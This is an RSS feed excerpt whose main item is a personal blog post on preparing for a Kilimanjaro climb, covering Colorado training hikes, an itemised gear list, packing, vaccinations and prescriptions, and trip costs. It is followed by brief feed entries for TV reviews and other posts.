&lt;p&gt;&lt;em&gt;More challenging, but there was just too much air to breathe&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I knew hiking that same trail over and over again wasn&amp;rsquo;t enough, so I hoped to make a few short trips to climb some more respectable mountains. There are plenty of options in the US, but I&amp;rsquo;m somehow drawn to Colorado, and I ended up taking two trips there over the summer. I summited Pikes Peak (14114 ft) with Andrea and Donna in July, and Mount Bierstadt (14065 ft) with Cody in August, after a work trip to Denver. Although I&amp;rsquo;ve done serious climbing hikes in the past, these were my first real experience with AMS. Sleeping at about 6000-7000 feet, with just a few days of acclimatisation, I started to feel the effects around 12000 feet. Mostly, mild headache and shortness of breath. The big problem was my inability to pace myself - I would keep exerting myself at normal levels, when my body couldn&amp;rsquo;t handle it. I would stop for ten seconds, then push hard for another 30. I knew this was silly, but I also figured it wouldn&amp;rsquo;t be a problem on Kilimanjaro, since the guides would be setting the pace, instead of me. This turned out to be correct, more or less.&lt;/p&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/IMG_6070-pikes.JPG" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Andrea and Donna on the way to Pikes Peak&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The second Colorado trip, I was car camping for three days. This was just weeks before the Kilimanjaro trip, so I had most of my gear already. I brought my day pack, and most of the stuff I planned to carry in it, but not much else - somehow, I missed this opportunity to try out all the rest of my new gear. Anyway, I learned one big thing: the day pack I had been using was fine for a couple hours, but after wearing it all day, it was very uncomfortable.&lt;/p&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/IMG_6451-colorado-camping.JPG" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Colorado car camping con Cody&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;To summarize:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Find a good place for short hikes near home, and go there a lot.&lt;/li&gt;
&lt;li&gt;Summit at least one 14er before the trip.&lt;/li&gt;
&lt;li&gt;Do a shakedown camp/hike with as much of the gear you plan to bring as possible.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="gear"&gt;Gear&lt;/h1&gt;
&lt;p&gt;On Mount Bierstadt, I met a couple of helpful people. One had done the Kilimanjaro hike several years ago, and gave me two recommendations: get knee-length gaiters, and bring a big daypack. The other guy noticed that I looked like I was stumbling down the path, and decided to keep me company in case the AMS got the better of me. I like to think I was just being lazy and using gravity to assist me in descending faster. In retrospect, I realize it&amp;rsquo;s probably not a good idea to trust your own judgment in that sort of situation. Anyway, that guy recommended &lt;a href="https://www.wildernessx.com/" target="_blank"&gt;Wilderness Exchange&lt;/a&gt; in Denver, so I stopped there on my way to the airport, and replaced my cheap craigslist daypack (a $45 like-new Osprey Mira 26) with a $100 lightly-used Osprey Mutant 38. Incidentally, that&amp;rsquo;s my new favorite store. The consignment and manufacturer sample sections make it almost a cross between REI and Goodwill.&lt;/p&gt;
&lt;p&gt;Anyway, back to the beginning. I read through a handful of gear recommendation lists, and found at least one person&amp;rsquo;s actual packing list, and I compiled all of those into a series of lists for myself: definitely buy, maybe buy, already have. The basics are critical: good everyday hiking clothes, packable cold-weather gear, duffel bag and day pack, boots. About three years ago, I learned about the magic of Merino wool. I started buying Merino stuff for biking - 2X Icebreaker t-shirts and 5 pairs of ultralight Smartwool socks - most of which I brought to Kilimanjaro. Living in Texas, I don&amp;rsquo;t have much use for cold-weather clothes, so this was an excuse to acquire some. The majority of new apparel I bought totaled about $300.&lt;/p&gt;
&lt;p&gt;About three months before the trip, the sole of one of my hiking boots started coming loose. I was annoyed at the time, but I&amp;rsquo;m so glad it didn&amp;rsquo;t happen any later - plenty of time to find new boots and wear them in. I briefly debated trying to use the dying boots on the trip, which would have been an awful idea. I saw 5-10 lost soles over the course of the hike, and if that had happened to me, it would have been worse than anything else that did. So, I donated my seven-year-old boots to &lt;a href="https://www.facebook.com/ProjectShoehorn/?rc=p" target="_blank"&gt;Project Shoehorn&lt;/a&gt;, and got some new mid-range waterproof Oboz boots. I considered getting higher-end Vasque or Salomon boots. Even though I expect to use them plenty, I didn&amp;rsquo;t see the point. Maybe next time.&lt;/p&gt;
&lt;p&gt;A waterproof duffelbag is suggested, so I got both the Patagonia 60L and 90L, hoping to make the smaller one work. I ended up using the 90L and returning the 60L, but with what I know now, I&amp;rsquo;m sure I could have managed with the 60L (with my 38L daypack stuffed full for the flights).&lt;/p&gt;
&lt;p&gt;Generally speaking, I try to avoid buying new things when possible, preferring hand-me-downs, Craigslist, Goodwill, etc. This kind of trip necessitates some specific items, that fit well, so I mostly gave up on being able to do that. Shortly before the trip, REI announced their new online used gear store, so I was happy to give that a chance. I looked through every available item, and found two things perfect for the trip - a cold-weather sleeping bag, and a decent-sized, waterproof mountaineering day pack. I ordered them, and they just never showed up! This was pretty annoying, and I&amp;rsquo;m pretty unlikely to use that shop again in the future. Oh well. I already had a three-season sleeping bag, which wasn&amp;rsquo;t warm enough, so I got a liner, which doesn&amp;rsquo;t do much. I ended up renting one of Kandoo&amp;rsquo;s sleeping bags, a Mountain Hardwear Lamina -30. This thing was huge and super warm, some nights I didn&amp;rsquo;t even zip it up.&lt;/p&gt;
&lt;p&gt;We used Kandoo&amp;rsquo;s &lt;a href="https://smile.amazon.com/Mountain-Hardwear-Trango-Tent-Orange/dp/B00IG9JOW2" target="_blank"&gt;Mountain Hardwear Trango 3&lt;/a&gt; tents. These were pretty nice. I&amp;rsquo;m glad we didn&amp;rsquo;t have to set them up and take them down ourselves.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s all the new stuff I bought:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;amount&lt;/th&gt;
          &lt;th&gt;item&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;82.27&lt;/td&gt;
          &lt;td&gt;smartwool pants base layer&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;15.36&lt;/td&gt;
          &lt;td&gt;darn tough hiking socks&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;8.99&lt;/td&gt;
          &lt;td&gt;microfiber towel&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;189.44&lt;/td&gt;
          &lt;td&gt;oboz hiking boots&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;9.90&lt;/td&gt;
          &lt;td&gt;uniqlo heattech undershirt&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;14.90&lt;/td&gt;
          &lt;td&gt;uniqlo rain pants&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;29.90&lt;/td&gt;
          &lt;td&gt;uniqlo down jacket&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;45.00&lt;/td&gt;
          &lt;td&gt;osprey mira day pack&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;21.60&lt;/td&gt;
          &lt;td&gt;REI stuff sacks&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;75.72&lt;/td&gt;
          &lt;td&gt;peak design capture clip&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;19.22&lt;/td&gt;
          &lt;td&gt;cheap wool socks&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;21.53&lt;/td&gt;
          &lt;td&gt;patagonia shirt&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;107.65&lt;/td&gt;
          &lt;td&gt;osprey mutant 38 pack&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;5.67&lt;/td&gt;
          &lt;td&gt;heavy thread (repair kit)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;19.99&lt;/td&gt;
          &lt;td&gt;trekking poles&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;22.99&lt;/td&gt;
          &lt;td&gt;down hood&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;161.29&lt;/td&gt;
          &lt;td&gt;patagonia duffel 90L&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;6.50&lt;/td&gt;
          &lt;td&gt;rite in the rain notebook&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;48.71&lt;/td&gt;
          &lt;td&gt;smartwool boxers&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;250.00&lt;/td&gt;
          &lt;td&gt;70-300 lens&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;10.88&lt;/td&gt;
          &lt;td&gt;bandanas&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;11.19&lt;/td&gt;
          &lt;td&gt;inflatable pillow&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;24.19&lt;/td&gt;
          &lt;td&gt;black diamond headlamp&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;37.99&lt;/td&gt;
          &lt;td&gt;gorillapod&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;12.93&lt;/td&gt;
          &lt;td&gt;1.5L nalgene&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;31.39&lt;/td&gt;
          &lt;td&gt;buff&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;9.11&lt;/td&gt;
          &lt;td&gt;bottle sling&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;29.99&lt;/td&gt;
          &lt;td&gt;anker 10Ah battery&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;45.47&lt;/td&gt;
          &lt;td&gt;osprey hydration pack&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;75.72&lt;/td&gt;
          &lt;td&gt;burton mittens&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&amp;mdash;&amp;mdash;&amp;mdash;&amp;ndash;&lt;/td&gt;
          &lt;td&gt;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;em&gt;1445.49&lt;/em&gt;&lt;/td&gt;
          &lt;td&gt;&lt;em&gt;total&lt;/em&gt;&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;I bought a lot of it just before the trip, after deliberating on whether I needed it, and exhausting other options besides purchasing new. Most of this is self-explanatory: clothes, bags, shoes, mittens, poles, head lamp. The camera gear makes sense if you&amp;rsquo;re a photographer. That stuff makes up almost $1300 of the total, leaving just a few odds and ends. Most of that is also obvious, the only exception is the nalgene and the bottle sling - highly recommended for summit night because bladder hoses can freeze. The idea is to put the nalgene in the sling upside down, so the water freezes from the bottom. I used the nalgene bottle plenty, and I&amp;rsquo;m glad I brought it, but I didn&amp;rsquo;t use it at all on summit night. I also bought and returned over $600 worth of stuff that didn&amp;rsquo;t make the cut.&lt;/p&gt;
&lt;p&gt;I also borrowed an inflatable sit pad, plus a bunch of stuff sacks and carabiners, from Patsy.&lt;/p&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/IMG_6580-packing-categorized.JPG" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;All my stuff, minus my ebook reader. Analysis in &lt;a href="../tanzania-5"&gt;part 5&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="photography"&gt;Photography&lt;/h2&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/2018-10-03-07.02.55-packing-camera.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Photography gear&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Half of it I already had - the T6i, Tamron 10-24 f/3.5-4.5, Canon 50 f/1.8, and miscellaneous accessories - and I also got a few new toys. First, a &lt;a href="https://www.peakdesign.com/products/capture" target="_blank"&gt;capture clip&lt;/a&gt;, at the recommendation of a friend. Kind of pricey, but I&amp;rsquo;m glad I got it. Second, my first telephoto lens, a Canon 70-300 IS. If a safari isn&amp;rsquo;t a good enough excuse to get a telephoto, then what is? It&amp;rsquo;s a low/midrange lens, nothing fancy, but I still got some great shots with it. Finally, a Gorillapod, which I figured I would only use for night photos. I was right, and it was totally worth it. Without it, I wouldn&amp;rsquo;t have gotten this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/IMG_7178-ghost.JPG" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I&amp;rsquo;m a ghost&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I also bought a set of knockoff batteries, to ensure my camera would last until summit night. I was hesitant to use those, for fear of hurting my camera&amp;rsquo;s precious feelings, but my Canon battery lasted the entire hike anyway. Plus, both my mind and my fingers were unusable at that point, so I gave up on photos at the summit.&lt;/p&gt;
&lt;h1 id="packing"&gt;Packing&lt;/h1&gt;
&lt;p&gt;We put some thought into how we would pack for the different phases of the trip. Donna packed a small bag of clothes for each hike day, which I thought was overkill, and unlikely to work for me. Instead, I focused on what to put in each of my main bags for the flight, and for the hike. The safari was an afterthought, since I didn&amp;rsquo;t know anything about it anyway.&lt;/p&gt;
&lt;p&gt;I actually used five distinct bags over the course of the trip: duffel, daypack, passport pouch, light drawstring bag, and a folding reusable shopping bag (to leave stuff behind at the hotel while hiking).&lt;/p&gt;
&lt;p&gt;The passport pouch held my passport, yellow card, wallet, giant wad of 10000 shilling notes (basically $5 bills, which is what the ATMs dispense, I guess), and a small knife, flashlight, and pencil, and spare SD cards for my camera. I kept this around my shoulder or in my daypack most of the time, but definitely didn&amp;rsquo;t have it on my person all the time during the hike, like I should have.&lt;/p&gt;
&lt;p&gt;For the flights, the recommendation is to carry the hiking essentials in your carry-on, so I packed my most expensive, hard-to-replace clothes and gear in my daypack (plus camera and lenses), and stuffed everything else in my duffel. I used the drawstring bag for minimal flight essentials (headphones, sleep mask, book, snacks, jacket), which worked well.&lt;/p&gt;
&lt;p&gt;For the hike, my daypack would carry water, rain gear, one warmth layer if I wasn&amp;rsquo;t wearing it, trekking poles, snacks and toiletries, first aid kit and repair kit, and my camera and lenses. Most everything else stayed in the duffel, including all the other camera stuff. I wore hiking pants with some big pockets, which usually ended up full of snacks, toiletries, and lenses, lightening the weight in my daypack a bit.&lt;/p&gt;
&lt;p&gt;I unintentionally ended up with a nice rainbow assortment of stuff sacks of various sizes. This was super convenient for organization, especially when trying to find something buried deep in a dark bag. Need underwear or socks? Find the yellow bag, pull it out, get what you need, toss it back in. I&amp;rsquo;ll continue using that system in the future.&lt;/p&gt;
&lt;!-- TODO: packing party pic --&gt;
&lt;h1 id="miscellaneous"&gt;Miscellaneous&lt;/h1&gt;
&lt;p&gt;My previous experience with bike touring made me worry about my knees. I often make smoothies for breakfast, and I use whey protein powder. A few months before the trip, I switched to collagen, in the hopes that it would strengthen my joints. I don&amp;rsquo;t know if there&amp;rsquo;s any science to suggest this would work, and I had no experimental control to evaluate the difference. That said, my knees (and other joints) had absolutely no trouble on the trip.&lt;/p&gt;
&lt;p&gt;Some people recommend a level of mental preparation that I felt was unnecessary. One suggestion is a mantra. I didn&amp;rsquo;t have one, but if I had, it would have been &amp;ldquo;time is an illusion&amp;rdquo;.&lt;/p&gt;
&lt;h2 id="documents-etc"&gt;Documents, etc&lt;/h2&gt;
&lt;p&gt;I brought the obvious stuff: passport, flight info, insurance info, driver&amp;rsquo;s license, credit card, debit card. Also, a few pages of info from Kandoo, and prescription info sheets. Other than that, and a small notebook, I tried to minimize paper. Instead I loaded a bunch of info onto my phone. Manuals, all the documents from Kandoo and my insurance, maps of the mountain, a handful of wikipedia page PDFs (like &lt;a href="https://en.wikipedia.org/wiki/Mount_Kilimanjaro" target="_blank"&gt;this one&lt;/a&gt;, which I read in full, one sleepless night), GPS tracks from my own hikes, and from others&amp;rsquo; Kili experiences.&lt;/p&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/2018-10-07-09.06.10-notebook.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Warning: water-proof notebooks are NOT banana-proof&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Mostly, I tried to condense all important information into a few pages of this little waterproof notebook that I got for the trip. Emergency contacts, flight info, travel reference info, notes on meds and AMS, and info about the various climates of the hike. After that, I dedicated one page to each day of the trip, with major itinerary points, todo items, &lt;a href="https://www.mountain-forecast.com/peaks/Mount-Kilimanjaro/forecasts/5963" target="_blank"&gt;weather forecasts&lt;/a&gt;, and a summary of the hike, including a rough elevation profile. Of course it was also nice to keep it accessible for taking notes. Overkill maybe; I didn&amp;rsquo;t need any of this aside from the basic trip details and emergency info, but I&amp;rsquo;m glad I had it. I just like knowing what&amp;rsquo;s going on.&lt;/p&gt;
&lt;p&gt;I planned to bring enough American cash to cover all expenses, plus one credit card for emergencies. Andrea changed my mind (&amp;ldquo;cash isn&amp;rsquo;t protected from fraud&amp;rdquo;), and Donna brought cash, and I think Donna did it right. Stopping at an ATM was a hassle and a risk, and they dispensed 10000 shilling notes, which are worth about $5. You want to carry cash on your body, so it should be as value-dense as possible.&lt;/p&gt;
&lt;p&gt;Some person or website recommended getting your visa early; I was under the impression this step was required. It saved a few minutes on arrival, but it cost another $30 for shipping, and it required sending my passport in the mail, which was disconcerting. I won&amp;rsquo;t bother in the future unless it&amp;rsquo;s strictly required.&lt;/p&gt;
&lt;h2 id="consumables"&gt;Consumables&lt;/h2&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/2018-09-15-10.46.49-packing-snacks.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Unsuspecting prey&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m a hungry kind of guy, so when the packing lists included &amp;ldquo;Personal snacks&amp;rdquo;, but my contact at Kandoo said it wasn&amp;rsquo;t necessary, I erred on the side of caution. I packed about 30 snack bars, maybe 5000 calories worth, plus a pound of almonds, some candied ginger, and some jelly bellys. It felt like overkill, but I brought it all anyway. Also, a fresh, full-sized bottle of the best hot sauce, chipotle tabasco.&lt;/p&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/2018-09-28-06.50.45-tabasco.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;O ye, of little faith&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For toiletries, I just brought the usual, plus extra sunscreen and bug spray, two rolls of toilet paper, three packs of wet wipes, and three ounces of hand sanitizer. I&amp;rsquo;ve almost never used wet wipes or hand sanitizer before, but I figured this was a good time to start.&lt;/p&gt;
&lt;p&gt;Finally, a first aid kit and a repair kit. I left out some gauze and medical tape, and instead brought an ace bandage and two cold compresses.&lt;/p&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/IMG_6584-packing-med.JPG" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Mostly self-explanatory&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="alt" src="https://alanbernstein.net/blog-static/img
/tanzania/IMG_6586-packing-repair.JPG" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Clips, straps, strips, snaps&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;We had guides who could probably have solved any real problems we had on the hike, so maybe not necessary. I carry stuff like this around on a normal day, so I wasn&amp;rsquo;t going to Africa without it.&lt;/p&gt;
&lt;h2 id="medical"&gt;Medical&lt;/h2&gt;
&lt;p&gt;I got most of the recommended immunizations, yellow fever, hepatitis B, tetanus, and typhoid, with no trouble. Rabies is recommended as well, but when I asked my travel nurse about it in an email, she didn&amp;rsquo;t even respond, so I didn&amp;rsquo;t worry about it.&lt;/p&gt;
&lt;p&gt;With less than two weeks left before the trip, I spotted a loose pet dog wandering around outside my house, and I went out to try to help him get home. He bit me, making the tiniest puncture wound, that almost certainly carried no risk. Since he escaped and was not found by animal control, when I went to a doctor they had no choice but to start me on full post-exposure rabies immunization. If you&amp;rsquo;re unfamiliar, that means four immediate shots of immunoglobulin, spread out on the same side of my body as the bite, plus four more of the vaccine, on the other side of my body. Those vaccine shots are supposed to be given on days 0, 3, 7 and 14 after the bite, but on day 14, I would be gone. A few days of mild panic ensued, during which I failed to find any consistent information on how to adjust the schedule. The doctor giving the shots had no idea, I called other doctors and the manufacturer, checked CDC and WHO recommendations, and then gave up on finding an answer. Some internet person told me I should cancel the trip, but I decided to accept the risk of getting rabies from a pet husky in Texas, rather than forfeit thousands of dollars for the trip.&lt;/p&gt;
&lt;p&gt;I got three prescriptions. Diamox for AMS, and atovaquone for malaria. With atovaquone, you start taking it two days before entering a risk area, and then continue for seven days after leaving. My travel nurse said only the safari portion of the trip counted as risk days, and I would be fine for the day and a half before the hike, as long as I stayed indoors at night. Although I may not have been at any real risk of contracting malaria, I definitely dealt with mosquitoes in my hotel room before the hike. After that happened, I decided to ask for enough to cover a full trip, if I ever need it in the future. On the other hand, Tommy, the traveling doctor from my group, says he never takes malaria prophylaxis. The last one was ciprofloxacin, an antibiotic for severe traveller&amp;rsquo;s diarrhea. The side effects of this stuff include &amp;ldquo;tendon rupture&amp;rdquo;, usually the Achilles tendon. Probably almost no chance it would happen to me, but I was pretty sure I&amp;rsquo;d rather suffer diarrhea than risk that anyway.&lt;/p&gt;
&lt;p&gt;Finally, a handful of over-the-counter meds: Immodium AD, which I didn&amp;rsquo;t use, but shared with others. Pepto Bismol, which I started eating like candy after my stomach had one rough day. Ibuprofen, which I was afraid to take, for fear of masking important pain signals. I did take a couple after the summit.&lt;/p&gt;
&lt;h2 id="playlist"&gt;Playlist&lt;/h2&gt;
&lt;p&gt;Many people prepare a summit playlist, &amp;ldquo;Ain&amp;rsquo;t no mountain high enough&amp;rdquo;, etc. I needed only &lt;a href="https://www.youtube.com/watch?v=FTQbiNvZqaY" target="_blank"&gt;one song&lt;/a&gt;. A few other good tracks came to me during the hike though, so I&amp;rsquo;ll record for posterity:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=mzDVaKRApcg" target="_blank"&gt;Higher and higher&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=4yk7M7aneCA" target="_blank"&gt;Green typewriters 10&lt;/a&gt;, a sleepy track from my favorite band, because of one line: &amp;ldquo;When you&amp;rsquo;re ready to come back down, I&amp;rsquo;ll be waiting&amp;rdquo;. Probably about drugs, but really, being that far up a mountain is its own high, so not inappropriate.&lt;/li&gt;
&lt;li&gt;Anything from The Lion King. I hadn&amp;rsquo;t realized how appropriate this would have been, as the movie is arguably &amp;ldquo;set&amp;rdquo; in Tanzania or maybe Kenya, Kili makes a brief appearance, and &amp;ldquo;Hakuna Matata&amp;rdquo; is actually a common Swahili phrase. At least, it is in the tourist experience.&lt;/li&gt;
&lt;li&gt;Head, shoulders knees and toes. Yes the kids song. To remind you of everything that hurts. AMS headache, heavy pack on your shoulders, knees do all the climbing, toes compressed in your boots and blistering.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="expenses"&gt;Expenses&lt;/h1&gt;
&lt;p&gt;The climb itself cost $2695. Depending on how you count it, the trip cost me about $8000 total. That includes &lt;em&gt;everything&lt;/em&gt; - the three-day safari plus lodging, flights, BOTH Colorado trips, and all the gear I bought and will continue using (including $300+ of photography stuff).&lt;/p&gt;
&lt;p&gt;Obviously, things like gear and flights will vary quite a bit from person to person. Here&amp;rsquo;s my breakdown:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;amount&lt;/th&gt;
          &lt;th&gt;thing&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;2695.00&lt;/td&gt;
          &lt;td&gt;climb&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;1445.49&lt;/td&gt;
          &lt;td&gt;gear&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;1156.51&lt;/td&gt;
          &lt;td&gt;africa flights&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;954.00&lt;/td&gt;
          &lt;td&gt;safari&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;792.85&lt;/td&gt;
          &lt;td&gt;pikes peak trip&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;500.00&lt;/td&gt;
          &lt;td&gt;incidentals (tips, drinks, food, souvenirs)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;105.00&lt;/td&gt;
          &lt;td&gt;vaccinations&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;135.81&lt;/td&gt;
          &lt;td&gt;visa application (30.81 shipping)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;100&lt;/td&gt;
          &lt;td&gt;denver trip (work covered flights, cheap camping)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;78.61&lt;/td&gt;
          &lt;td&gt;travel insurance&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;50.00&lt;/td&gt;
          &lt;td&gt;sleeping bag rental&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;20.00&lt;/td&gt;
          &lt;td&gt;prescriptions&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;120.00&lt;/td&gt;
          &lt;td&gt;misc consumables&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&amp;mdash;&amp;mdash;&amp;mdash;&amp;ndash;&lt;/td&gt;
          &lt;td&gt;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;em&gt;8153.27&lt;/em&gt;&lt;/td&gt;
          &lt;td&gt;&lt;em&gt;total&lt;/em&gt;&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If that seems like a lot&amp;hellip; it is. Even without the cost of the Colorado trips and the gear, this was the most expensive thing I&amp;rsquo;ve ever done, aside from those big life milestones. I think it cost more than my wedding.&lt;/p&gt;</description><author>Micro-optimist</author><pubDate>Sat, 01 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://alanbernstein.github.io/posts/tanzania-1/</guid></item><item><title>Friends: Season 2</title><link>https://olshansky.info/tv/friends_season_2/</link><description>Olshansky's review of Friends: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 01 Dec 2018 01:06:08 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/friends_season_2/</guid></item><item><title>Better Call Saul: Season 4</title><link>https://olshansky.info/tv/better_call_saul_season_4/</link><description>Olshansky's review of Better Call Saul: Season 4</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 01 Dec 2018 00:52:39 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/better_call_saul_season_4/</guid></item><item><title>First Man</title><link>https://olshansky.info/movie/first_man/</link><description>Olshansky's review of First Man</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 01 Dec 2018 00:45:07 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/first_man/</guid></item><item><title>Coming of Age (Album)</title><link>https://macleodsawyer.com/music/coming-of-age-album/</link><description/><author>Macleod Sawyer | Web Portal Feed</author><pubDate>Fri, 30 Nov 2018 19:23:57 GMT</pubDate><guid isPermaLink="true">https://macleodsawyer.com/music/coming-of-age-album/</guid></item><item><title>[Computing] Grow-up and grow-down technologies</title><link>https://www.devever.net/~hl/growupdown</link><description>&lt;p&gt;In the history of computing, there's a pattern that emerges. Technologies can
be split into two broad categories: grow-up technologies and grow-down
